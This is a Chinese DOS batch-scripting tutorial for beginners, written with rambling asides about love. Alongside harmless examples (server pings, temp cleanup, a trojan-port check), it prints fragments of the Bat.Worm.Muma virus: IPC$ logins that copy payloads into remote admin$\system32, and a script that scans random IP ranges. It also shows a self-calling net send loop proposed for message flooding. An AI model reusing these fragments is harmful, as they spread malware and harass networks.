貼一篇很好的DOS批處理入門教程
這是一篇技術教程,我會用很簡單的文字表達清楚自己的意思,你要你識字就能看懂,就能學到知識。寫這篇教程的目的,是讓每一個看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那麼就讓它簡單吧!看這篇教程的方法,就是慢!慢慢的,如同品一個女人、一杯茗茶,你會發現很多以前就在眼前的東西突然變的很遙遠,而有些很遙遠的東西卻又突然回到了眼前。
先概述一下批處理是個什麼東東。批處理的定義,至今我也沒能給出一個合适的----衆多高手們也都沒給出----反正我不知道----看了我也不一定信服
----我是個菜鳥,當然就更不用說了;但我想總結出一個“比較合适的”,而且我也相信自己可以把它解釋的很清楚,讓更多的菜鳥都知道這是個什麼東東,你用這個東東可以幹什麼事情。或許你會因為這篇文章而“無條件愛上批處理”,那麼我的目的就達到了----我就是要讓你愛上它,我就這麼拽,你能怎麼着??真的,愛有時候就這麼拽,就是這麼沒理由,就是這麼不要臉!真的!
按照我的了解,批處理的本質,是一堆DOS指令按一定順序排列而形成的集合。
OK,never claver and get to
business(閑話少說言歸正傳)。批處理,也稱為批處理腳本,英文譯為BATCH,批處理檔案字尾BAT就取的前三個字母。它的構成沒有固定格式,隻要遵守以下這條就ok了:每一行可視為一個指令,每個指令裡可以含多條子指令第一行開始執行,直到最後一行結束,它運作的平台是DOS。批處理有一個很鮮明的特點:使用友善、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因為牽纏到代碼(批處理的内容算是代碼吧?)的問題本來就是枯燥的,很少有人能面對滿螢幕的代碼而靜下心來。是以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎麼又是愛?到底批處理和愛有什麼關系?答案:沒有!)。再說句“閑話”:要學好批處理,DOS基礎一定要牢!當然腦子靈活也是很重要的一方面。
例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟,将下面的幾行指令儲存為name.bat然後執行(以後文中隻給出代碼,儲存和執行方式類似):
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
是不是都能看的懂?是不是很easy?但它的作用卻是很實用的,執行這個批處理後,可以在你的目前盤建立一個名為a.txt的檔案,它裡面記錄的資訊可以幫助你迅速找到速度最快的QQ伺服器,進而遠離“從伺服器中轉”那一痛苦的過程。這裡>的意思,是把前面指令得到的東西放到後面所給的地方,>>的作用,和>的相同,差別是把結果追加到前一行得出的結果的後面,具體的說是下一行,而前面一行指令得出的結果将保留,這樣可以使這個a.txt檔案越來越大(想到如何搞破壞了??)。By
the way,這個批處理還可以和其他指令結合,搞成完全自動化判斷伺服器速度的東東,執行後直接顯示速度最快的伺服器IP,是不是很爽?後面還将詳細介紹。
例二、再給出一個已經過時的例子(a.bat):
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del
C:\Progra~1\Tencent\AD\*.gif
a.bat
為什麼說這是個過時的例子呢?很簡單,因為現在已經幾乎沒有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢!!),是以它幾乎用不上了。但曾經它的作用是不可小窺的:删除QQ的廣告,讓對話框幹幹淨淨。這裡用的位址是QQ的預設安裝位址,預設批處理檔案名為a.bat,你當然可以根據情況自行修改。在這個腳本中使用了if指令,使得它可以達到适時判斷和删除廣告圖檔的效果,你隻需要不關閉指令執行後的DOS視窗,不按CTRL+C強行終止指令,它就一直監視是否有廣告圖檔(QQ也再不斷檢視自己的廣告是否被删除)。當然這個腳本占用你一點點記憶體,呵呵。
例三,使用批處理腳本查是否中冰河。腳本内容如下:
netstat -a -n > a.txt
type a.txt | find "7626" && echo
"Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
這裡利用了netstat指令,檢查所有的網絡端口狀态,隻需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否被人種了冰河。然這不是确定的,因為冰河預設的端口7626,完全可以被人修改。這裡介紹的隻是方法和思路。這裡介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進去參數和端口及資訊清單檔案後,就變成自動檢測所有木馬的腳本了。呵呵,是不是很過瘾?腳本中還利用了組合指令&&和管道指令|,後面将詳細介紹。
例四,借批處理自動清除系統垃圾,腳本如下:
if exist c:\windows\temp\*.* del
c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del
c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del
c:\windows\History\*.*
if exist c:\windows\recent\*.* del
c:\windows\recent\*.*
将以上腳本内容儲存到autoexec.bat裡,每次開機時就把系統垃圾給自動删除了。這裡需要注意兩點:一、DOS不支援長檔案名,是以就出現了Tempor~1這個東東;二、可根據自己的實際情況進行改動,使其符合自己的要求。
怎麼樣,看到這裡,你對批處理腳本是不是已經有點興趣了?是不是發現自己已經慢慢愛上了這個東東?别高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和幸福,當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續的話,I
服了 YOU!繼續努力吧,也許到最後你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會到整個愛的過程,就是如此。酸、苦和辣,有沒有甜天知道。
為什麼會把批處理和愛情扯上關系?不是我無聊,也不是因為這樣寫有趣多少,原因有二:其一,批處理和愛情有很多相同的地方,有些地方我用“專業”的行話解釋不清(我不懷疑自己的表達能力,而是事情本身就不好說清楚),說了=沒說,但用地球人都知道的愛情一比喻(愛情是什麼?我**怎麼知道!!),沒準你心裡一下就亮堂了,事半功倍,何樂而不為?其二,我這段時間狀态不是很好,感冒發燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當買狗皮膏藥了,完全可以省略不看(也許還真有點效果----不至于讓你看着看着就睡着了,把頭磕了來找我報帳醫藥費)。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。
看過第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來幹什麼的了。但你知道運用批處理的精髓在哪裡嗎?其實很簡單:思路要靈活!沒有做不到的,隻有想不到的。這和愛情就有點不同了,因為愛情的世界是兩個人的世界,一廂情願不叫愛情(補充:那叫單戀。廢話!)而批處理卻是一個人的天堂,你可以為所欲為,沒有達不到的境界!
批處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程式語言(如彙編)低,如果你寫的腳本是一堆亂麻,雖然每一行指令都正确,但從頭執行到尾後,不一定得到你想要的結果,也許是一螢幕的Bad
command or fail
name。這又和愛情有了共同點:按步驟來經營,缺少或增多的步驟都可能導緻不想看見的結果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理,輸出的結果不是Bad
name,螢幕是這麼顯示的:‘你的愛情’不是内部或外部指令,也不是可運作的程式或批處理檔案。然後就是光标不停閃動,等待這下一次錯誤的輸入。
從這一章開始,将由淺入深的介紹批進行中常用的指令,很多常見DOS指令在批處理腳本中有這廣泛的應用,它們是批處理腳本的BODY部分,但批處理比
DOS更靈活多樣,更具備自動化。要學好批處理,DOS一定要有比較紮實的基礎。這裡隻講述一些比較少用(相對來說)的DOS指令,常用指令如COPY、
DIR等就不做介紹了(這些看似簡單的指令實際複雜的很,我怕自己都說不清楚!)。
例五,先看一個執行個體。這是一個很有意思的腳本,一個小巧實用的好東東,把批處理“自動化”的特點展現的淋漓盡緻。先介紹一下這個腳本的來曆:大家都知道彙程式設計式(MASM)的上機過程,先要對源代碼進行彙編、連接配接,然後再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(隻有經曆過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞彙編課程設計時,我“被逼”寫了這個腳本,用起來很爽,呵呵。看看腳本内容:
::close echo
cls
::clean screen
echo This programme is to make the MASM programme
automate
::display info
echo Edit by CODERED
echo Mailto me : qqkiller***@sina.com
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the
code
link %1.obj & %1
::else link the .obj file and execute the .exe
file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
先不要被這一堆的東西給吓怕了,靜下心來仔細的看(回想一下第一章中第一段是怎麼寫的!!)。已經給出了每一行指令的解釋,兩個冒号後面的内容為前一行内容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這麼懶?),在腳本執行時不顯示,也不起任何作用。倒數第
5行行首有一個冒号,可不是筆誤哦!具體作用後面會詳細講到。此腳本中masm和link是彙程式設計式和連接配接程式,必須和edit程式以及你要編輯的源代碼(當然還有這個腳本,廢話!)一起在目前目錄中。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中隻需要按幾下Enter鍵,即可實作從彙編源代碼到可執行exe檔案的自動化轉換,并具備智能判斷功能:如果彙編時源代碼出現錯誤(彙編不成功),則自動暫停顯示錯誤資訊,并在按任意鍵後自動進入編輯源代碼界面;如果源代碼彙編成功,則進行連接配接,并在連接配接後自動執行生成的exe檔案。另外,由于批處理指令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學彙編的朋友,一定别忘了實習一下!
在這個腳本中出現了如下幾個指令:@、echo、::、pause、:和goto、%以及if。而這一章就将講述這幾個指令。
1、@
這個符号大家都不陌生,email的必備符号,它怎麼會跑到批進行中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執行視窗中不顯示它後面這一行的指令本身(多麼繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的指令就不顯示了。在例五中,首行的@echo
off中,@的作用就是讓腳本在執行時不顯示後面的echo off部分。這下懂了吧?還是不太懂?沒關系,看完echo指令簡介,自然就懂了。
2、echo
中文為“回報”、“回顯”的意思。它其實是一個開關指令,就是說它隻有兩種狀态:打開和關閉。于是就有了echo
on和echo off兩個指令了。直接執行echo指令将顯示目前echo指令狀态(off或on)執行echo
off将關閉回顯,它後面的所有指令都不顯示指令本身,隻顯示執行後的結果,除非執行echo on指令。在例五中,首行的@指令和echo
off指令聯合起來,達到了兩個目的:不顯示echo
off指令本身,不顯示以後各行中的指令本身。的确是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!
echo指令的另一種用法一:可以用它來顯示資訊!如例五中倒數第二行,Default BAT file
name is START.BAT将在腳本執行後的視窗中顯示,而echo指令本身不顯示(為什麼??)。
echo指令的另一種用法二:可以直接編輯文本檔案。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上腳本内容的編輯方法是,直接是指令行輸入,每行一回車。最後就會在目前目錄下生成一個a.bat的檔案,直接執行就會得到結果。
3、::
這個指令的作用很簡單,它是注釋指令,在批處理腳本中和rem指令等效。它後面的内容在執行時不顯示,也不起任何作用,因為它隻是注釋,隻是增加了腳本的可讀性,和C語言中的類似。地球人都能看懂,就不多說了。
4、pause
中文為“暫停”的意思(看看你的workman上),我一直認為它是批進行中最簡單的一個指令,單純、實用。它的作用,是讓目前程式程序暫停一下,并顯示一行資訊:請按任意鍵繼續.
.
.。在例五中這個指令運用了兩次,第一次的作用是讓使用者看清楚程式資訊,第二個是顯示錯誤的彙編代碼資訊(其實不是它想顯示,而是masm程式在顯示錯誤資訊時被暫它停了,以便讓你看清楚你的源代碼錯在哪裡)。
5、:和goto
為什麼要把這兩個指令聯合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉指令,:是一個标簽。當程式運作到goto
時,将自動跳轉到:定義的部分去執行了(是不是分不開?)。例五中倒數第5行行首出現一個:,則程式在運作到goto時就自動跳轉到:标簽定義的部分執行,結果是顯示腳本usage(usage就是标簽名稱)。不難看出,goto指令就是根據這個冒号和标簽名稱來尋找它該跳轉的地方,它們是一一對應的關系。goto指令也經常和if指令結合使用。至于這兩個指令具體用法,參照例五。
goto指令的另一種用法一:提前結束程式。在程式中間使用goto指令跳轉到某一标簽,而這一标簽的内容卻定義為退出。如:
……
goto end
:end
這裡:end在腳本最後一行!其實這個例子很弱智,後面講了if指令群組合指令你就知道了。
6、%
這個百分号嚴格來說是算不上指令的,它隻是批進行中的參數而已(多個%一起使用的情況除外,以後還将詳細介紹),但千萬别以為它隻是參數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七:
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s
以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執行形式為:腳本檔案名參數一參數二
……。假設這個腳本被儲存為a.bat,則執行形式如下:a IP username
password。這裡IP、username、password是三個參數,缺一不可(因為程式不能正确運作,并不是因為少了參數文法就不對)這樣在腳本執行過程中,腳本就自動用用你的三個參數依次(記住,是依次!也是一一對應的關系。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那麼腳本的作用也就被固定了,但如果使用%的話,不同的參數可以達到不同的目的,是不是更靈活?)。
關于這個參數的使用,在後續章節中還将介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!
這一章就寫到這裡了。可能有朋友問了:怎麼沒介紹if指令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點東西,如果你是初學者,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個DOS指令都可以被用在批處理腳本中去完成特定的功能。到這裡,你是否已經想到了用自己肚子裡的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個DOS指令的集合而已,相信自稱為天才的你已經會把計算機等級考試上機試題中的DOS部分用批處理來自動化完成了。
煩!就好象一個半老女人到了更年期,什麼事都想唠叨幾句,什麼事都感到不舒服,看誰誰不爽。明知山有虎,偏向虎山行,最後留下一身傷痕無功而返時,才發現自己竟然如此脆弱,如此渺小,如此不堪一擊。徘徊在崩潰的邊緣,突然回想起了自己最後一次扁人的那一刻,還真有點懷念(其實我很不喜歡扁人,更不喜歡被人扁)。我需要發洩,我用手指拼命的敲打着鍵盤,在一陣接一陣有節奏的聲音中,螢幕上出現了上面的這些文字。可難道這就是發洩的另一種方式嗎?中國人還是厲害,早在幾千年前孔老夫子就說過“唯女子與小人,難養也”,真**有先見之明,佩服!雖然是在發洩,不過大家請放心,以我的脾氣,既然決定寫這篇教程,就一定會盡力去寫好,寫完美,絕對不給自己留下遺憾,要不這教程就不是我寫的!
曾經有一篇經典的批處理教程出現在你的螢幕上,你沒有儲存,直到找不到它的連結你才後悔莫及,人世間最大的痛苦莫過于此。如果上天能給你一個再看一次的機會,你會對那篇教程說三個字:我愛你!如果非要給這份愛加上一個期限,你希望是100年。因為100年後,你恐怕早已經挂了!而現在,你的螢幕上出現了這篇你正在看的批處理教程,雖然不如你曾經看的那篇經典,但如果勉強還過的去。你會愛它嗎?時間會有50年那麼長嗎?答案是:試試看吧。
批處理腳本中最重要的幾個指令,将在這一章詳細介紹,但是很遺憾,有些細節到現在我都沒掌握的很好,甚至還有些生分。如同還不太懂得愛一樣。但我一直都在努力,即使一直都沒有收獲。是以可能講的會比較籠統,但我會告訴你方法,剩下的就是時間問題了,需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒,滴水穿石非一日之功。有些事情,比如學批處理,比如愛一個人,都是不能速成的,甚至還會有付出艱辛而收獲為甚微的情況。再次重申,看這篇教程的時候,一定要靜下心來,除非你已經掌握了這篇教程的所有東西----但那也就不必看了,浪費時間!
7、if
接上一章,接着講if指令。總的來說,if指令是一個表示判斷的指令,根據得出的每一個結果,它都可以對應一個相應的操作。關于它的三種用法,在這裡分開講。
(1)、輸入判斷。還是用例五裡面的那幾句吧:
這裡判斷輸入的參數情況,如果參數為空(無參數),則跳轉到usage;如果參數為/?或help時(大家一般看一個指令的幫助,是不是輸入的/?或
help呢,這裡這麼做隻是為了讓這個腳本看起來更像一個真正的程式),也跳轉到usage。這裡還可以用否定形式來表示“不等于”,例如:if not
"%1"=="" goto
usage,則表示如果輸入參數不為空就跳轉到usage(實際中這樣做就沒意義了,這裡介紹用法,管不了那麼多了,呵呵。)是不是很簡單?其實翻譯成中文體會一下就understand了。
(2)、存在判斷。再看例二裡這句:
如果存在那些gif檔案,就删除這些檔案。當然還有例四,都是一樣的道理。注意,這裡的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif檔案則退出腳本”:if
not exist C:\Progra~1\Tencent\AD\*.gif exit。隻是多一個not來表示否定而已。
(3)、結果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處這麼大,呵呵):
link %1.obj
先對源代碼進行彙編,如果失敗則暫停顯示錯誤資訊,并在按任意鍵後自動進入編輯界面;否則用link程式連接配接生成的obj檔案。這裡隻介紹一下和if指令有關的地方,&指令後面會講到。這種用法是先判斷前一個指令執行後的傳回碼(也叫錯誤碼,DOS程式在運作完後都有傳回碼),如果和定義的錯誤碼符合(這裡定義的錯誤碼為1),則執行相應的操作(這裡相應的操作為pause
& edit %1.asm部分)。
另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變為:
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本質了吧?其實隻是把結果判斷後所執行的指令互換了一下,“if not errorlevel
1”和“if errorlevel
0”的效果是等效的,都表示上一句masm指令執行成功(因為它是錯誤判斷,而且傳回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執行成功)。這裡是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,是以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個腳本,然後把有not和沒有not的情況,傳回碼為0或1的情況分别寫進去執行(怎麼,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?後面介紹管道指令群組合指令時還有更麻煩的呢!怕了?呵呵。),這樣從執行的結果中就能很清楚的看出這兩種情況的差別。
這種用errorlevel結果判斷的用法是if指令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷傳回碼,則要達到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。以上代碼必須變成:
if exist %1.obj link %1.obj
else pause & edit %1.asm
關于if指令的這三種用法就say到這裡,了解很簡單,但應用時就不一定用的那麼得心應手,主要是熟練程度的問題。可能有的朋友有點驚訝,我怎麼沒給出類似下面三行的用法介紹,是因為下面三行是if指令幫助裡對它自身用法的解釋,任何人隻要一個“if
/?”就能看到,我沒有必要在這裡多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,是以我采用上面自己對if指令的了解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質上講,這三種用法都是建立在判斷的基礎上的,哲學教我們學會透過現象看事物本質!)。有興趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
學過彙編或C的朋友,肯定都知道call指令表示什麼意思了,在這裡它的意思其實也是一樣的。在批處理腳本中,call指令用來從一個批處理腳本中調用另一個批處理腳本。看例八(預設的三個腳本檔案名分别為start.bat、10.bat和ipc.bat):
start.bat:
CALL 10.BAT 0
10.bat:
ECHO %IPA%.%1 >HFIND.TMP
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call
HACK.bat %%i %%j %%k
有沒有看出什麼不對的地方?沒看出來啊?沒看出來就對了,其實就沒有不對的地方嘛,你怎麼看的出來!從上面兩個腳本,你可以得到如下資訊:1、腳本調用可以靈活運用,循環運用、重複運用。2、腳本調用可以使用參數!關于第一點就不多說了,聰明的你一看就應該會,這裡說一下第二點。
在start.bat中,10.bat後面跟了參數0,在執行時的效果,其實就是把10.bat裡的參數%1用0代替。在start.bat
中,ipc.bat後面跟了參數ipcfind.txt(一個檔案,也可以做參數),執行時的效果,就是用ipc.bat中的每一行的三個變量(這裡不懂沒關系,學過for指令後就懂了),對應代換ipc.bat中的%%i、%%j和%%k。這裡參數調用是非常靈活的,使用時需要好好體會。在初學期間,可以先學習隻調用腳本,至于連腳本的參數一起使用的情況,在後面的學習中自然就會有比較深刻的了解,這是因為當你已經可以靈活運用批處理腳本後,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的範圍,這時候你就會發現在調用腳本時直接加入參數,可以使代碼效率加倍。By
the way,上面的這幾個腳本,都是Bat.Worm.Muma病毒的一部分,在後面的教程裡,大家将有機會見到這個病毒的真面目。
那是不是說,在同一個目錄下至少存在兩個批處理腳本檔案(隻有一個你調用誰?)?呵呵,注意了,這句話錯了!!隻有一個照樣可以調用----調用自身!看例九(預設腳本檔案名a.bat):
net send %1 This is a call example.
call a.bat
這兩句一結合,效果自然不怎麼樣,因為隻有一台機器來發消息,誰怕誰啊?我給你來個禮尚往來!可如果有100台機器同時執行,而且每台機器開10和視窗同時向一個目标機器發消息的話,呵呵。這裡call
a.bat的作用就是調用自身,執行完前一句net send指令後再調用自身,達到了循環執行的目的。
給出一個很有意思的腳本,有興趣的朋友可以實驗一下。例十(預設腳本檔案名為a.bat):
一定要在DOS視窗下執行,否則隻會看到一個視窗一閃而過,看不到最後結果。等執行完後,當腳本被執行了1260次,别忘了想一下到底是為什麼!愛情有時候跟這個腳本一樣,一旦陷入死循環,最後的結果都是意想不到的。隻是愛情,絕對不會等到被毫無理由的循環這麼多次,也許在第三次時就出現了love
is aborted的提示。
9、find
這是一個搜尋指令,用來在檔案中搜尋特定字元串,通常也作為條件判斷的鋪墊程式(我怎麼突然想起了這四個字?)。這個指令單獨使用的情況在批進行中是比較少見的,因為沒什麼實際意義。還是借例三來說明:
先用netstat指令檢查是否有冰河預設的端口7626在活動,并把結果儲存到a.txt中。然後使用type指令列出a.txt中的内容,再在列出的内容中搜尋字元串“7626”
,發現有的話則提示中了冰河,否則退出。看,find指令其實就這麼簡單,但有一點必須要注意到:如果不使用type指令列出a.txt中的内容,而是直接使用find指令在a.txt中找“7626”(find
a.txt "7626" && echo "Congratulations! You have infected
GLACIER!"),就必須得給出這個a.txt的絕對路徑(我試過了,find并沒有預設路徑就是目前路徑的功能,必須手動指定。也許是我錯了,歡迎指正)。因為在find指令的幫助裡有這麼一句話:如果沒有指定路徑,find将搜尋鍵入的或者由另一個指令産生的文字。這裡的“另一個指令”自然就指的
type指令了。
至于find指令的其他幾個參數如v、n、i等,有興趣的朋友自己去研究吧,這已經屬于DOS學習的内容了,這裡就不做介紹。關于find指令和其他指令的一些更精妙的用法(有些簡直令人叫絕),後續的教程中将介紹,希望關注。
10、for、set、shift
為什麼把這三個指令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對于這兩個指令,我是從研究
Bat.Worm.Muma病毒開始學習的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯了成了罪人。是以我給出一個腳本去告訴你,如何讓這兩個指令給自己留一個初步的印象,其實也就是這兩個指令的入門,而并不是說如何領會這兩個指令。因為要領會如此精妙的兩個指令(特别是for)談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這裡丢人顯眼;也許你還會說一些别的這樣那樣好聽或不好聽的話,都随便你了,即使我不同意你說的話,我也會誓死捍衛你說話的權利。看例十一:
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
執行後在目前路徑下就生成for.txt、set.txt和shift.txt三個檔案,裡面分别記錄了for指令、set指令和shift指令的幫助資訊。地球人都能看懂,我就不多說了。我在網上曾經找了很長時間這三個指令的教程,但都不理想,基本都是照搬的幫助資訊。我想在自己完全掌握了這兩個指令後,一定要寫一篇用自己的文字總結出來的for、set和shift教程(關于shift指令,後面介紹批處理的參數時還将涉及到),一定會的,這是我的心願之一!需要注意的一點是,這三個指令的幫助裡,介紹的都比較死闆,雖然也舉了一些例子,但這是遠遠不夠的。要掌握這兩個指令,最需要的就是耐心!沒寫錯,就是耐心。光是認真看完它們的幫助文字就已經需要足夠的耐心了,要進一步練習領會這兩個指令,難道不需要更大的耐心?實戰練習的機會我會留給你的,關鍵還是那句話,看你有沒有耐心去研究了。看看例十二:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN
(A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&&
SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
這是Bat.Worm.Muma病毒的起始腳本,設定了病毒運作的環境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來!),你應該能體會到學習這兩個指令所需要的耐心了吧。就如同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發現愛她的過程如看上面代碼的過程一樣讓你頭大,但你還是得愛下去----愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風平浪靜後,最直覺的收獲就是,你的耐心變的前所未有的充足,面對她的複雜和善變,你自己會處變不驚,以自己的方式去從容應付曾經應付不了的場面,即使到最後一身傷痕,也會感慨曾經的舉動有多麼偉大。
沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。這種感覺就好象在自己最喜歡的音樂聲中被人強奸,痛并快樂着。
不得不再次重申一遍,各種DOS指令是批處理的BODY(我實在找不出一個更合适的詞來形容他們之間的關系),學好DOS指令是學好批處理的前提。其他
DOS指令如copy、dir、del、type、path、break、start等内部指令,以及ping、net、cmd、at、sort、
attrib、fc、find等外部指令,在批處理裡的應用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS指令組合出來一個完美的批處理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS指令的基礎上的,這已經超出了本文的範疇,在此就不贅述了。
不知不覺中第三章已經結束了。耳麥裡傳來的依然是陳曉東的《比我幸福》,每隔4分32秒就自動重播。雖然我不并不很喜歡陳曉東,可這并不妨礙我喜歡音樂,喜歡這首描寫的如此讓人感慨的歌。請你一定要比我幸福/才不枉費我狼狽退出/再痛也不說苦/愛不用抱歉來彌補/至少我能成全你的追逐/請記得你要比我幸福
/才值得我對自己殘酷/我默默的倒數/最後再把你看清楚/看你眼裡的我好馍糊/慢慢被放逐。我如同一個因年老失色而拉不到客的老×××,絕望的徘徊在曾經輝煌的×××,用一臉的木然瞟一眼來來去去的人群,默默的回憶自己并不光彩的過去,幻想自己将要面對的未來。直到看見那些幸福依偎在一起的情侶們,才突然間發現上帝的公平,和這種公平的殘忍。
可以說,批處理腳本中最重要的幾個指令我都沒有給出如echo或if那樣比較詳細的介紹,原因我已經說了,因為我也是個菜,我也不太懂----但我正在學!你呢?今天又去了一趟圖書館,淘金一樣發現了一本叫《DOS批檔案》的東東,藏在一個角落裡落滿了灰,五本摞一起就跟磚頭一樣厚了。大概翻了一下,裡面介紹了很多比較底層和基礎的東西,雖然從思路上講,已經有點time
out了,很多東西已經基本沒有利用的價值(這就是資訊時代的更新速度),但還是很值得看的。于是打算下午淘過來,放假回去了再好好研究一番,連同那幾個不熟悉的指令一起搞熟了,再續寫這篇教程。我始終堅信,沒有最好隻有更好。
但是很可惜,等到下午再去的時候,圖書館樓梯口已經立了一個牌子,上面寫着out of
service----人家這學期的工作結束了。于是回到宿舍打算繼續寫第四章,正在這時又得到一個“振奮人心”的消息:期末考試有一科挂了,而且是全班第一----這一門整個班裡就挂了我一個。郁悶的情緒刹那間湧上心頭,整個世界仿佛都變成黑的了。食堂和小賣部已經陸續關門,學校裡的人越來越少,迎面過來的幾個同學也都一身行李,忙碌着準備回家過年,内心的孤寂和失落如同夏日裡暴雨前的烏雲,迅速而不可抗拒的占領了心裡每一個角落。迎着一月的冷風我一個人在天橋上發呆,還能怎麼樣,連期末考試都應付不了的失敗男人。
“課間休息”時間好象長了點,呵呵,上課了!從這一章開始,将詳細介紹批進行中常用的幾個組合指令和管道指令。這些指令雖然不是必須的,如同愛一個人時不一定非得每天去陪,但如果少了這個過程,事情就會變的複雜而不完美,是以我認為管道指令群組合指令是批處理的調味劑,幾乎是少不了的。
下面從管道指令講起。常用的管道指令有以下這些:|、>、>>
11、|
